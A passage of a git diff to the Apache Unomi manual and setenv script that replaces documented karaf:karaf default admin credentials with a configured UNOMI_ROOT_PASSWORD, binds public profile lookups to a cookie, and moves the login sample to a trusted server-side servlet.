- **Tenant Authentication**: Basic Auth with `tenantId:privateKey`
- - **System Administrator Authentication**: Basic Auth with `karaf:karaf` (or configured admin credentials)
+ - **System Administrator Authentication**: Basic Auth with the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`
==== Code Examples
@@ -100,7 +100,7 @@ The AuthenticationFilter in V3 follows this resolution order:
----
// Global system administrator authentication for all endpoints
RestAssured.authentication = RestAssured.preemptive()
- .basic("karaf", "karaf");
+ .basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"));
// Context requests require no authentication
RestAssured.given()
@@ -130,14 +130,14 @@ given()
// For private endpoints using system administrator authentication
given()
- .auth().preemptive().basic("karaf", "karaf")
+ .auth().preemptive().basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"))
.contentType(ContentType.JSON)
.body(payload)
.post("/cxs/profiles");
// For tenant administration (system admin only)
given()
- .auth().preemptive().basic("karaf", "karaf")
+ .auth().preemptive().basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"))
.contentType(ContentType.JSON)
.body(tenantPayload)
.post("/cxs/tenants");
@@ -170,7 +170,7 @@ public class UnomiConfiguration {
public void init() {
RestAssured.baseURI = baseUrl;
RestAssured.authentication = RestAssured.preemptive()
- .basic("karaf", "karaf");
+ .basic("karaf", System.getenv("UNOMI_ROOT_PASSWORD"));
}
// V3 Client
diff --git a/manual/src/main/asciidoc/multitenancy.adoc b/manual/src/main/asciidoc/multitenancy.adoc
index 6f6a914cee..904ca0399d 100644
--- a/manual/src/main/asciidoc/multitenancy.adoc
+++ b/manual/src/main/asciidoc/multitenancy.adoc
@@ -59,7 +59,7 @@ To create a new tenant, use the Tenant API endpoint:
[source,bash]
----
curl -X POST http://localhost:8181/cxs/tenants \
- --user karaf:karaf \
+ --user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Content-Type: application/json" \
-d '{
"requestedId": "my-tenant",
@@ -102,10 +102,10 @@ IMPORTANT: Store plaintext keys immediately after calling the key creation endpo
[source,bash]
----
curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/apikeys?type=PUBLIC" \
- --user karaf:karaf
+ --user "karaf:$UNOMI_ROOT_PASSWORD"
curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/apikeys?type=PRIVATE" \
- --user karaf:karaf
+ --user "karaf:$UNOMI_ROOT_PASSWORD"
----
Example response:
@@ -387,7 +387,7 @@ securityService.executeAsSystemSubject(() -> {
[source,bash]
----
curl -X GET http://localhost:8181/cxs/tenants \
- --user karaf:karaf \
+ --user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Content-Type: application/json"
----
@@ -396,7 +396,7 @@ curl -X GET http://localhost:8181/cxs/tenants \
[source,bash]
----
curl -X PUT http://localhost:8181/cxs/tenants/my-tenant \
- --user karaf:karaf \
+ --user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Content-Type: application/json" \
-d '{
"displayName": "Updated Organization Name",
@@ -411,10 +411,10 @@ Regenerating replaces any existing key of the same type. Store `plainTextKey` fr
[source,bash]
----
curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/apikeys?type=PUBLIC&validityDays=30" \
- --user karaf:karaf
+ --user "karaf:$UNOMI_ROOT_PASSWORD"
curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/apikeys?type=PRIVATE" \
- --user karaf:karaf
+ --user "karaf:$UNOMI_ROOT_PASSWORD"
----
NOTE: `type` must be `PUBLIC` or `PRIVATE`. Optional `validityDays` sets expiration; omit it (or use `0`) for no expiration.
@@ -424,7 +424,7 @@ NOTE: `type` must be `PUBLIC` or `PRIVATE`. Optional `validityDays` sets expirat
[source,bash]
----
curl -X DELETE http://localhost:8181/cxs/tenants/my-tenant \
- --user karaf:karaf \
+ --user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Content-Type: application/json"
----
@@ -464,7 +464,7 @@ Unomi exposes read-only usage metrics per tenant. Quota enforcement belongs in y
[source,bash]
----
curl -X GET "http://localhost:8181/cxs/tenants/my-tenant/usage?period=current-month" \
- --user karaf:karaf \
+ --user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Content-Type: application/json"
----
@@ -479,7 +479,7 @@ Upstream control planes can delete old tenant events through Unomi instead of ta
[source,bash]
----
curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/purge/events?retentionDays=90" \
- --user karaf:karaf \
+ --user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Content-Type: application/json"
----
@@ -568,7 +568,7 @@ After migration, verify tenant context and data access:
----
# List tenants (JAAS admin)
curl -X GET http://localhost:8181/cxs/tenants \
- --user karaf:karaf \
+ --user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Accept: application/json"
# List profiles for a tenant (tenant private key auth)
@@ -652,7 +652,7 @@ curl -X GET http://localhost:8181/cxs/jsonSchema \
-H "Content-Type: application/json"
----
-NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (`karaf:karaf`).
+NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`).
You can also validate events against your schema using the validation endpoint:
@@ -683,14 +683,22 @@ curl -X POST http://localhost:8181/cxs/jsonSchema/validateEvent \
Once the event type is defined, you can send events:
+[NOTE]
+====
+`/cxs/context.json` is a public endpoint, so the profile is carried by the `context-profile-id`
+cookie: since Unomi 3.1 a public caller's body `profileId` is ignored. Only a trusted caller
+(tenant private key or system administrator) may bind a profile explicitly through the body. See
+<<_client_facing_hardening_3_1,client-facing hardening>>.
+====
+
[source,bash]
----
curl -X POST http://localhost:8181/cxs/context.json \
-H "X-Unomi-Api-Key: " \
-H "Content-Type: application/json" \
+ -b "context-profile-id=profile-456" \
-d '{
"sessionId": "session-123",
- "profileId": "profile-456",
"source": {
"itemId": "checkout-page",
"itemType": "page",
@@ -768,9 +776,9 @@ To test that everything works:
curl -X POST http://localhost:8181/cxs/context.json \
-H "X-Unomi-Api-Key: " \
-H "Content-Type: application/json" \
+ -b "context-profile-id=profile-456" \
-d '{
"sessionId": "session-123",
- "profileId": "profile-456",
"source": {
"itemId": "checkout-page",
"itemType": "page",
diff --git a/manual/src/main/asciidoc/privacy.adoc b/manual/src/main/asciidoc/privacy.adoc
index dda5c3959b..a32c187fe1 100644
--- a/manual/src/main/asciidoc/privacy.adoc
+++ b/manual/src/main/asciidoc/privacy.adoc
@@ -78,7 +78,7 @@ curl -X DELETE http://localhost:8181/cxs/privacy/profiles/{profileID}?withData=f
--user "TENANT_ID:PRIVATE_KEY"
----
-NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (`karaf:karaf`).
+NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`).
where `{profileID}` must be replaced by the actual identifier of a profile
and the `withData` specifies whether the data associated with the profile must be anonymized or not
diff --git a/manual/src/main/asciidoc/recipes.adoc b/manual/src/main/asciidoc/recipes.adoc
index 8f0f8c9ce7..7236f9508e 100644
--- a/manual/src/main/asciidoc/recipes.adoc
+++ b/manual/src/main/asciidoc/recipes.adoc
@@ -27,7 +27,7 @@ you might be tempted to modify them to fit your use case, which might result in
The best approach during development is to enable Apache Unomi debug mode, which will provide
you with more detailed logs about events processing.
-The debug mode can be activated via the karaf SSH console (default credentials are karaf/karaf):
+The debug mode can be activated via the karaf SSH console (authenticate with `karaf` and your configured `UNOMI_ROOT_PASSWORD`):
[source]
----
@@ -134,10 +134,11 @@ event data to the profile. This is simpler than it sounds, as usually all it req
defining the corresponding JSON schema and you're ready to update profiles using events.
- Use the protected built-in "updateProperties" event. This event is designed to be used for administrative purposes
-only. Again, prefer the custom events solution because as this is a protected event it will require sending the Unomi
-key as a request header, and as Unomi only supports a single key for the moment it could be problematic if the key is
-intercepted. But at least by using an event you will get the benefits of auditing and historical property modification
-tracing (see <<_request_tracing_explain,request tracing>>).
+only. Cross-profile updates and `systemProperties.*` writes require a **trusted** caller (tenant private key or system
+administrator). Prefer custom events for public visitors. Again, prefer the custom events solution because as this is a
+protected event it will require sending trusted credentials, and as Unomi only supports a single key for the moment it
+could be problematic if the key is intercepted. But at least by using an event you will get the benefits of auditing and
+historical property modification tracing (see <<_request_tracing_explain,request tracing>>).
Let's go into more detail about the preferred way to update a profile. Let's consider the following example of a rule:
@@ -208,7 +209,7 @@ curl --location --request POST 'http://localhost:8181/cxs/scopes' \
}'
----
-NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (`karaf:karaf`).
+NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`).
The next step consist in creating a JSON Schema to validate our event.
@@ -485,7 +486,7 @@ much preferred.
When sending a login event, you can setup a rule that can check a profile property to see if profiles can be merged on an
universal identifier such as an email address.
-In our login sample we provide an example of such a rule. You can find it here:
+In our login sample we provide an example of such a rule (fired from a **server-side** trusted call — see <<_login_sample,Login sample>>). You can find the rule here:
https://github.com/apache/unomi/blob/master/samples/login-integration/src/main/resources/META-INF/cxs/rules/exampleLogin.json
@@ -579,7 +580,7 @@ Upon merge:
===== API
-/context.json and /eventcollector will now look up profiles by profile ID or aliases from the same cookie (`context-profile-id`) or body parameters (`profileId`)
+/context.json and /eventcollector look up profiles by profile ID or aliases from the profile cookie (`context-profile-id` by default). Public callers must present that cookie; body/query `profileId` is ignored for public callers. Trusted callers (tenant private key / system admin) may still pass `profileId` explicitly. See <<_how_profile_tracking_works,How profile tracking works>> and <<_client_facing_hardening_3_1,client-facing hardening>>.
|===
| *Verb* | *Path* | *Description*
diff --git a/manual/src/main/asciidoc/request-examples.adoc b/manual/src/main/asciidoc/request-examples.adoc
index cb06a6f6ba..26edb46e62 100644
--- a/manual/src/main/asciidoc/request-examples.adoc
+++ b/manual/src/main/asciidoc/request-examples.adoc
@@ -25,7 +25,7 @@ First, create a tenant that will own all the data:
[source]
----
curl -X POST http://localhost:8181/cxs/tenants \
---user karaf:karaf \
+--user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Content-Type: application/json" \
-d '{
"requestedId": "mytenant",
@@ -67,8 +67,8 @@ Regenerate keys to obtain one-time plaintext values (store them immediately):
[source,bash]
----
-curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PUBLIC" --user karaf:karaf
-curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PRIVATE" --user karaf:karaf
+curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PUBLIC" --user "karaf:$UNOMI_ROOT_PASSWORD"
+curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PRIVATE" --user "karaf:$UNOMI_ROOT_PASSWORD"
----
After creating the tenant and regenerating keys, use these credentials in the examples:
@@ -549,14 +549,22 @@ The format is always `MM-DD` where:
You can also update the personalization example to use the birthday property:
+[NOTE]
+====
+The profile is selected with the `context-profile-id` cookie, not with a `profileId` in the request
+body. `/cxs/context.json` is a public endpoint, and since Unomi 3.1 a public caller's body `profileId`
+is ignored — the cookie is the only profile identity bearer. See
+<<_client_facing_hardening_3_1,Client-facing hardening>> in the 3.0 to 3.1 migration guide.
+====
+
[source]
----
curl -X POST http://localhost:8181/cxs/context.json \
-H "Content-Type: application/json" \
-H "X-Unomi-Api-Key: YOUR_PUBLIC_API_KEY" \
+-b "context-profile-id=profile-1" \
-d '{
"sessionId": "birthday-session",
- "profileId": "profile-1",
"source": {
"itemId": "homepage",
"itemType": "page",
@@ -702,9 +710,9 @@ For the birthday profile (should show birthday message):
curl -X POST http://localhost:8181/cxs/context.json \
-H "Content-Type: application/json" \
-H "X-Unomi-Api-Key: YOUR_PUBLIC_API_KEY" \
+-b "context-profile-id=profile-1" \
-d '{
"sessionId": "birthday-session",
- "profileId": "profile-1",
"source": {
"itemId": "homepage",
"itemType": "page",
@@ -748,9 +756,9 @@ For the non-birthday profile (should show welcome message):
curl -X POST http://localhost:8181/cxs/context.json \
-H "Content-Type: application/json" \
-H "X-Unomi-Api-Key: YOUR_PUBLIC_API_KEY" \
+-b "context-profile-id=profile-2" \
-d '{
"sessionId": "regular-session",
- "profileId": "profile-2",
"source": {
"itemId": "homepage",
"itemType": "page",
diff --git a/manual/src/main/asciidoc/samples/login-sample.adoc b/manual/src/main/asciidoc/samples/login-sample.adoc
index 0a33e23771..8e2ae12fb9 100644
--- a/manual/src/main/asciidoc/samples/login-sample.adoc
+++ b/manual/src/main/asciidoc/samples/login-sample.adoc
@@ -14,51 +14,206 @@
[#_login_sample]
=== Login sample
-This sample is an example of what is involved in integrating a login with Apache Unomi.
+This sample shows how to integrate a **server-side** login with Apache Unomi so that
+`mergeProfilesOnPropertyAction` can merge profiles on email (or another merge key).
-==== Warning !
+==== Why server-side?
-The example code uses client-side Javascript code to send the login event. This is only
-done this way for the sake of samples simplicity but if should NEVER BE DONE THIS WAY in real cases.
+Under Unomi 3.1 hardening (https://issues.apache.org/jira/browse/UNOMI-972[UNOMI-972] /
+<<_client_facing_hardening_3_1,client-facing hardening>>), cross-profile merge requires a
+**trusted** caller (system administrator or tenant private key). A browser call with only a
+public API key is not trusted — merge is refused.
-The login event should always be sent from the server performing the actual login since it must
-only be sent if the user has authenticated properly, and only the authentication server can validate this.
+A real authentication server must validate the password, then call Unomi. This sample mimics
+that with a small DS servlet inside Unomi (`/login/authenticate`).
-==== Installing the samples
+==== How it works
-Login into the Unomi Karaf SSH shell using something like this :
+. Open http://localhost:8181/login/index.html and submit the form
+ (the password you set as `demoPassword` in the sample configuration).
+. The page posts to `/login/authenticate` (same host) — it never posts a login event to `/cxs/context.json` from JavaScript.
+. `LoginServlet` checks the demo password, then `POST`s a `login` event to `/cxs/context.json` using Basic auth
+ (`tenantId:privateKey` — a tenant private key is the only credential the sample accepts).
+. The session id is generated by the servlet and kept on the browser's own `HttpSession` — it is
+ deliberately *not* read from the form. See <<_never_forward_client_supplied_identifiers,Never forward client-supplied identifiers>>.
+. The bundled rule `exampleLogin` (`META-INF/cxs/rules/exampleLogin.json`) runs
+ `mergeProfilesOnPropertyAction` on `target.properties.email` plus `copyPropertiesAction`.
-[source]
+[plantuml]
----
-ssh -p 8102 karaf@localhost (default password is karaf)
+@startuml
+title Login sample — trusted server-side merge (UNOMI-972)
+
+actor Browser
+participant "Login page\n/login/index.html" as Page
+participant "LoginServlet\n/login/authenticate" as Auth
+participant "Unomi REST\n/cxs/context.json" as Context
+participant "exampleLogin rule" as Rule
+
+Browser -> Page: Open /login/index.html
+Browser -> Page: Submit form (email, password, …)
+Page -> Auth: POST /login/authenticate\n(form fields only)
+
+alt Wrong demo password
+ Auth --> Page: 401 { error }
+ Page --> Browser: Show error
+else Password OK
+ Auth -> Auth: Resolve sessionId from HttpSession\n(never from the request)
+ Auth -> Auth: Build login ContextRequest\n(scope from config)
+ Auth -> Context: POST /cxs/context.json?sessionId=…\nBasic tenantId:privateKey
+ activate Context
+ Context -> Rule: login event
+ Rule -> Rule: mergeProfilesOnPropertyAction\n(on email) + copyPropertiesAction
+ Context --> Auth: context JSON + Set-Cookie
+ deactivate Context
+ Auth --> Page: Forward Unomi response\n(+ profile cookie)
+ Page --> Browser: Show profileId
+end
+
+note over Page
+ Browser never calls /cxs/context.json
+ for login — only the trusted servlet does.
+end note
+
+note over Context
+ Public API key alone is not trusted;
+ merge would be refused.
+end note
+
+@enduml
----
-Install the login samples using the following command:
+Source: `samples/login-integration/` (OSGi Declarative Services, no Blueprint).
-[source]
+[[_never_forward_client_supplied_identifiers]]
+==== Never forward client-supplied identifiers
+
+Moving the login event server-side is only half of the fix. A trusted caller is allowed to adopt
+whatever profile owns the `sessionId` it passes, and to merge profiles on whatever identifier the
+event carries. A proxy that takes those values from its own untrusted callers and replays them under
+trusted credentials hands that power straight back to the browser: anyone who guesses another
+visitor's session id could rebind or merge that visitor's profile.
+
+`LoginServlet` therefore derives the session id from state it controls — a UUID stored on the
+browser's container `HttpSession` — and never reads it from a request parameter. Apply the same rule
+in your own integration:
+
+* Derive the `sessionId` from your authenticated server-side session, not from the request body.
+* Derive the merge identifier (here, the email) from the account you just authenticated, not from a
+ form field the caller chose.
+* Treat every other Unomi identifier the same way: if the value came from the caller, it must not be
+ forwarded under credentials the caller does not hold.
+
+NOTE: The sample's same-origin check is a lightweight stand-in for CSRF protection, and
+`demoPassword` is a single shared secret standing in for a user directory. A real integration should
+use a per-session CSRF token and authenticate each user against your identity provider. The sample
+ships no default `demoPassword` for the same reason Unomi ships no default admin password: a
+credential published in source is a credential everyone has.
+
+==== Build
+
+From the Unomi source tree:
+
+[source,bash]
----
-bundle:install mvn:org.apache.unomi/login-integration-sample/${project.version}
+mvn -pl samples/login-integration -am install -DskipTests
----
-when the bundle is successfully install you will get an bundle ID back we will call it BUNDLE_ID.
+==== Set up
-You can then do:
+Build the sample, then run the setup script on the Unomi host. It creates the tenant and scope,
+issues a tenant private key, generates a demo password, configures the bundle and starts it:
-[source]
+[source,bash]
----
-bundle:start BUNDLE_ID
+mvn -pl samples/login-integration -am install -DskipTests
+
+export UNOMI_ROOT_PASSWORD='your-admin-password'
+./samples/login-integration/setup.sh
----
-If all went well you can access the login samples HTML page here :
+`KARAF_HOME` must point at the Unomi install that is **actually running** and serving `UNOMI_URL` —
+the script writes into that install's `etc/` and `deploy/` directories, so configuring a different
+copy would have no effect. Set it explicitly unless you have exactly one built distribution in the
+source tree:
-[source]
+[source,bash]
----
-http://localhost:8181/login/index.html
+cd samples/login-integration
+KARAF_HOME=../../package/target/unomi-3.1.0-SNAPSHOT ./setup.sh
----
-You can fill in the form to test it. Note that the hardcoded password is:
+The script validates this before changing anything, and refuses to continue if the directory does not
+exist, does not look like a Unomi install, is not writable, or belongs to an instance that is stopped
+(it checks `karaf.pid` against the running process, so a stale pid file from a previous run is caught
+too). If you have more than one built distribution under `package/target`, it will not guess — set
+`KARAF_HOME`.
+
+The script waits until the sample page answers before reporting success, then prints the page URL and
+the **generated demo password** — copy it, it is not stored anywhere you can read it back. The private
+key is never printed. Re-running is safe: it reuses an existing tenant and scope and issues a fresh key.
+
+It needs `curl` and `jq`, and filesystem access to the Unomi install — it writes
+`etc/org.apache.unomi.samples.login.cfg` (mode `600`, since it holds the private key) and copies the
+bundle into `deploy/`, both of which Karaf picks up within a second. `KARAF_HOME` is auto-detected in
+the source tree; set it otherwise. No Karaf console, SSH or console credential is involved. Override
+`UNOMI_URL`, `UNOMI_TENANT_ID`, `UNOMI_SCOPE` or `DEMO_PASSWORD` if the defaults do not suit;
+`./setup.sh --help` lists them.
+
+NOTE: The script uses the system administrator credential because creating a tenant is an operator
+action. The servlet never sees it — it receives only the scoped tenant private key the script issues.
+A tenant private key is the **only** credential the sample accepts: a system administrator password
+would also satisfy the merge gate, but it grants far more than this sample needs and is not scoped to
+a single tenant, so the servlet deliberately refuses to use one.
+
+===== Setting it up by hand
+
+If you would rather not run the script, the equivalent steps are: create the tenant and a scope,
+`POST /cxs/tenants//apikeys?type=PRIVATE` and keep the returned `plainTextKey` (it is shown
+once), then from the Karaf console:
-[source]
+[source,bash]
----
-test1234
-----
\ No newline at end of file
+bundle:install mvn:org.apache.unomi/login-integration-sample/${project.version}
+config:edit org.apache.unomi.samples.login
+config:property-set tenantId default
+config:property-set scope default
+config:property-set privateKey
+config:property-set demoPassword
+config:update
+bundle:start
+----
+
+Either way, the bundle reports on activation whether it is usable. A configured sample logs, at
+`INFO`:
+
+----
+Login sample ready - open http://localhost:8181/login/index.html (tenantId=default, scope=default)
+----
+
+A sample still missing something logs a `WARN` naming exactly what to set. Correct it and run
+`config:update` again — the servlet re-reads its configuration and reprints the status without a
+restart.
+
+Ensure the tenant allows login events from the servlet's source IP (typically `127.0.0.1` when
+calling localhost) via tenant authorized IPs.
+
+==== Test profile merge
+
+. Open http://localhost:8181/login/index.html
+. Log in with email `alice@example.com` and your configured `demoPassword`. Note the `profileId` in the success message.
+. Clear the `context-profile-id` cookie for `localhost` (or use a private browser window) so Unomi would otherwise create a new anonymous profile.
+. Log in again with the **same** email. Expect the **same** master `profileId` (merge on email).
+. Optional: log in with a different email — expect a different profile.
+
+If you see `Unable to resolve a tenant`, create the tenant and ensure `tenantId` matches the tenant
+the private key belongs to — the key's tenant is what Unomi authenticates against.
+If schema validation rejects the scope, create the scope (see above).
+If you see a configuration error from `/login/authenticate`, the servlet has no trusted credentials
+yet — set `privateKey` as shown above and run `config:update`.
+
+==== Related
+
+* <<_client_facing_hardening_3_1,Client-facing hardening (3.1)>>
+* <<_how_profile_tracking_works,How profile tracking works>>
+* Rule JSON: https://github.com/apache/unomi/blob/master/samples/login-integration/src/main/resources/META-INF/cxs/rules/exampleLogin.json
diff --git a/manual/src/main/asciidoc/scheduler.adoc b/manual/src/main/asciidoc/scheduler.adoc
index 786fdbc874..3783a767eb 100644
--- a/manual/src/main/asciidoc/scheduler.adoc
+++ b/manual/src/main/asciidoc/scheduler.adoc
@@ -645,14 +645,14 @@ NOTE: The REST API is for **monitoring and operations** (list, inspect, cancel,
.List all tasks (paginated)
[source,bash]
----
-curl -s -u karaf:karaf \
+curl -s -u "karaf:$UNOMI_ROOT_PASSWORD" \
"http://localhost:8181/cxs/tasks?offset=0&limit=20"
----
.Filter by status
[source,bash]
----
-curl -s -u karaf:karaf \
+curl -s -u "karaf:$UNOMI_ROOT_PASSWORD" \
"http://localhost:8181/cxs/tasks?status=FAILED&limit=50"
----
@@ -661,7 +661,7 @@ Valid status values: `SCHEDULED`, `WAITING`, `RUNNING`, `COMPLETED`, `FAILED`, `
.Filter by task type
[source,bash]
----
-curl -s -u karaf:karaf \
+curl -s -u "karaf:$UNOMI_ROOT_PASSWORD" \
"http://localhost:8181/cxs/tasks?type=cache-refresh-segment&limit=10"
----
@@ -689,7 +689,7 @@ curl -s -u karaf:karaf \
[source,bash]
----
-curl -s -u karaf:karaf \
+curl -s -u "karaf:$UNOMI_ROOT_PASSWORD" \
"http://localhost:8181/cxs/tasks/TASK_ID"
----
@@ -699,7 +699,7 @@ Cancellation stops future runs and marks the task `CANCELLED`. The task record r
[source,bash]
----
-curl -s -u karaf:karaf -X DELETE \
+curl -s -u "karaf:$UNOMI_ROOT_PASSWORD" -X DELETE \
"http://localhost:8181/cxs/tasks/TASK_ID"
----
@@ -710,11 +710,11 @@ Returns HTTP `204 No Content` on success.
[source,bash]
----
# Retry keeping failure count
-curl -s -u karaf:karaf -X POST \
+curl -s -u "karaf:$UNOMI_ROOT_PASSWORD" -X POST \
"http://localhost:8181/cxs/tasks/TASK_ID/retry"
# Retry and reset failure count to zero
-curl -s -u karaf:karaf -X POST \
+curl -s -u "karaf:$UNOMI_ROOT_PASSWORD" -X POST \
"http://localhost:8181/cxs/tasks/TASK_ID/retry?resetFailureCount=true"
----
@@ -724,7 +724,7 @@ Use when status is `CRASHED` and the executor supports checkpoint resume.
[source,bash]
----
-curl -s -u karaf:karaf -X POST \
+curl -s -u "karaf:$UNOMI_ROOT_PASSWORD" -X POST \
"http://localhost:8181/cxs/tasks/TASK_ID/resume"
----
diff --git a/manual/src/main/asciidoc/security.adoc b/manual/src/main/asciidoc/security.adoc
index acfdd1b1fe..fb14fbec12 100644
--- a/manual/src/main/asciidoc/security.adoc
+++ b/manual/src/main/asciidoc/security.adoc
@@ -31,12 +31,14 @@ Unomi 3.1 authenticates every request so the server can resolve a **tenant** (or
| Server-side integrations, admin UIs
| Tenant administration (`/cxs/tenants`)
-| JAAS system administrator (for example `karaf:karaf`)
+| JAAS system administrator (for example `karaf:$UNOMI_ROOT_PASSWORD`)
| Create tenants, rotate keys
|===
Temporary exception: <<_v2_compatibility_mode,V2 compatibility mode>> allows public endpoints without API keys while migrating 2.x clients.
+Public context callers must present the profile cookie as the profile bearer (body `profileId` is ignored for public callers). See <<_client_facing_hardening_3_1,client-facing hardening>> and <<_how_profile_tracking_works,How profile tracking works>>.
+
===== Auth resolution sequence
[plantuml]
diff --git a/manual/src/main/asciidoc/shell-commands.adoc b/manual/src/main/asciidoc/shell-commands.adoc
index 19a09dca6f..2a154d5d04 100644
--- a/manual/src/main/asciidoc/shell-commands.adoc
+++ b/manual/src/main/asciidoc/shell-commands.adoc
@@ -26,7 +26,7 @@ You can connect to the Apache Karaf SSH Shell using the following command:
ssh -p 8102 karaf@localhost
-The default username/password is karaf/karaf. You should change this as soon as possible by editing the `etc/users.properties` file.
+Authenticate with the `karaf` user and the password from `UNOMI_ROOT_PASSWORD` (Unomi does not ship a known default password). Set the password before start; see <<_getting_started,Getting started>> and <<_client_facing_hardening_3_1,client-facing hardening>>.
Once connected you can simply type in :
diff --git a/manual/src/main/asciidoc/tutorial.adoc b/manual/src/main/asciidoc/tutorial.adoc
index f381ce6d15..0d81767c3c 100644
--- a/manual/src/main/asciidoc/tutorial.adoc
+++ b/manual/src/main/asciidoc/tutorial.adoc
@@ -115,7 +115,7 @@ curl --location --request POST 'http://localhost:8181/cxs/scopes' \
}'
----
-NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (`karaf:karaf`). The default `karaf:karaf` credentials should be changed as soon as possible by modifying the `etc/users.properties` file.
+NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`). Unomi ships no default administrator password: set `UNOMI_ROOT_PASSWORD` (and `UNOMI_HEALTHCHECK_PASSWORD`) before starting the server, or it will refuse to start.
==== Using tracker in your own JavaScript projects
@@ -210,7 +210,7 @@ Another (powerful) way to look at events is to use the SSH Console. You can conn
ssh -p 8102 karaf@localhost
----
-Using the same username password (karaf:karaf) and then you can use command such as :
+Using the same credentials (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`) and then you can use command such as :
- `event-tail` to view in realtime the events as they come in (CTRL+C to stop)
- `event-list` to view the latest events
diff --git a/manual/src/main/asciidoc/whats-new.adoc b/manual/src/main/asciidoc/whats-new.adoc
index 4b34f3f906..d49febed16 100644
--- a/manual/src/main/asciidoc/whats-new.adoc
+++ b/manual/src/main/asciidoc/whats-new.adoc
@@ -21,9 +21,17 @@ Apache Unomi 3.1 builds on the 3.0 platform (Elasticsearch 9 client, Karaf 4.4,
Complete tenant isolation for profiles, events, segments, rules, and schemas. Public endpoints (for example `/cxs/context.json`) require a tenant public API key; administrative work uses tenant private keys or system administrator credentials.
* Operator guide: <<_multitenancy,Multi-tenancy>>
-* Migration: <<_migrate_from_3_0_to_3_1,Migrate from 3.0 to 3.1>>
+* Migration: <<_migrate_from_3_0_to_3_1,Migrate from 3.0 to 3.1>> (includes <<_client_facing_hardening_3_1,client-facing hardening>>)
* Migrating from Unomi 2.x: <<_v2_compatibility_mode,V2 compatibility mode>> (`v2.compatibilitymode.enabled` in `org.apache.unomi.rest.authentication.cfg`)
+==== Security hardening (credentials, profile binding, privileged APIs)
+
+Unomi 3.1 requires explicit admin and health-check passwords at startup, treats the profile cookie as the only public profile bearer on `/context.json` and `/eventcollector`, defaults the profile cookie to `HttpOnly`, restricts Groovy Actions and Router import/export REST to system administrator, and gates cross-profile merge / `updateProperties` / `systemProperties` writes to trusted callers.
+
+* Details and migration table: <<_client_facing_hardening_3_1,Client-facing hardening>>
+* Profile tracking contract: <<_how_profile_tracking_works,How profile tracking works>>
+* Jira: https://issues.apache.org/jira/browse/UNOMI-972[UNOMI-972]
+
==== Cluster-aware task scheduler
Built-in background job scheduler with persistence, cluster locks, recovery, REST API (`/cxs/tasks`), and Karaf shell commands.
diff --git a/package/src/main/resources/bin/setenv b/package/src/main/resources/bin/setenv
index e48561de4c..66fa7157de 100755
--- a/package/src/main/resources/bin/setenv
+++ b/package/src/main/resources/bin/setenv
@@ -50,6 +50,94 @@
MY_DIRNAME=`dirname $0`
MY_KARAF_HOME=`cd "$MY_DIRNAME/.."; pwd`
+# Fail fast when starting without admin/health passwords (no known defaults are shipped).
+#
+# An unset password does NOT resolve to "no account": ${env:...} with no value expands to the
+# empty string, which Karaf's PropertiesLoginModule accepts as a valid (empty) password for the
+# admin account. So "unset" and "blank" are the same failure, and both must be refused.
+#
+# This script is the gate for shell-launched Karaf; the Docker entrypoint covers containers. Any
+# launcher that starts the JVM directly without sourcing this file (systemd units, Kubernetes
+# command overrides, PaxExam) bypasses the check, so those deployments must set the passwords
+# themselves.
+_unomi_etc="${KARAF_ETC:-${MY_KARAF_HOME}/etc}"
+
+# Print the configured value of a property, searching custom.system.properties and the optional
+# overlay it includes. Last assignment wins, comments ignored. Empty output means "not configured".
+_unomi_configured_property() {
+ for _unomi_file in "${_unomi_etc}/custom.system.properties" "${_unomi_etc}/unomi.custom.system.properties"; do
+ [ -f "${_unomi_file}" ] || continue
+ sed -n "s|^[[:space:]]*$1[[:space:]]*=[[:space:]]*\(.*\)$|\1|p" "${_unomi_file}"
+ done | sed -e 's/[[:space:]]*$//' | grep -v '^$' | tail -n 1
+}
+
+# _unomi_require_password ENV_VAR_NAME PROPERTY_NAME SKIP_FLAG_NAME
+# Returns 0 when a non-blank password is available, 1 when startup must be refused.
+_unomi_require_password() {
+ eval _unomi_value=\"\${$1}\"
+ eval _unomi_skip=\"\${$3}\"
+
